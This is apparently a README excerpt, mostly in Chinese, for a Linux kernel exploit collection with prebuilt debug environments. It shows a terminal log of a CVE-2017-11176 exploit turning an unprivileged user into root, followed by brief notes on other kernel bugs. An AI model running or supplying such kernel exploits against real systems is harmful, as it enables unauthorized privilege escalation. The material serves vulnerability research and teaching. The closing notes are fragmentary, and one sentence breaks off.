Linux 内核 CVE 漏洞分析报告和相关调试环境。您无需再编译 Linux 内核和配置环境。
# Eg, test CVE-2017-11176, finally you levate privileges and get the shell
john@john-virtual-machine:~/Desktop/kernel-exploit-factory/CVE-2017-11176$ ./start.sh
chmod: /dev/csaw: No such file or directory
ifconfig: SIOCSIFADDR: No such device
route: SIOCADDRT: No such device
/ $ uname -a
Linux (none) 4.11.9 #1 SMP Sat Feb 20 21:52:39 CST 2021 x86_64 GNU/Linux
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cd exp
/exp $ ./exp-slab-4119
[*] sk_rmem_alloc > sk_rcvbuf ==> ok
[*] mq_notify start
[*] wake up thread 1
... ...
/exp # id
uid=0(root) gid=0(root)
/exp # 测试版本:Linux-4.19.65 保护: 打开 kaslr/SMEP,未打开 SMAP。 漏洞:gcc 编译优化导致的 Double-Fetch 漏洞,可直接劫持控制流。
测试版本:Linux-4.8.13 保护: 未开启 KASLR/SMAP/SMEP。伪造的 skb_shared_info 结构位于用户空间,显然
暂无开放 Issues,或尚未同步最近议题。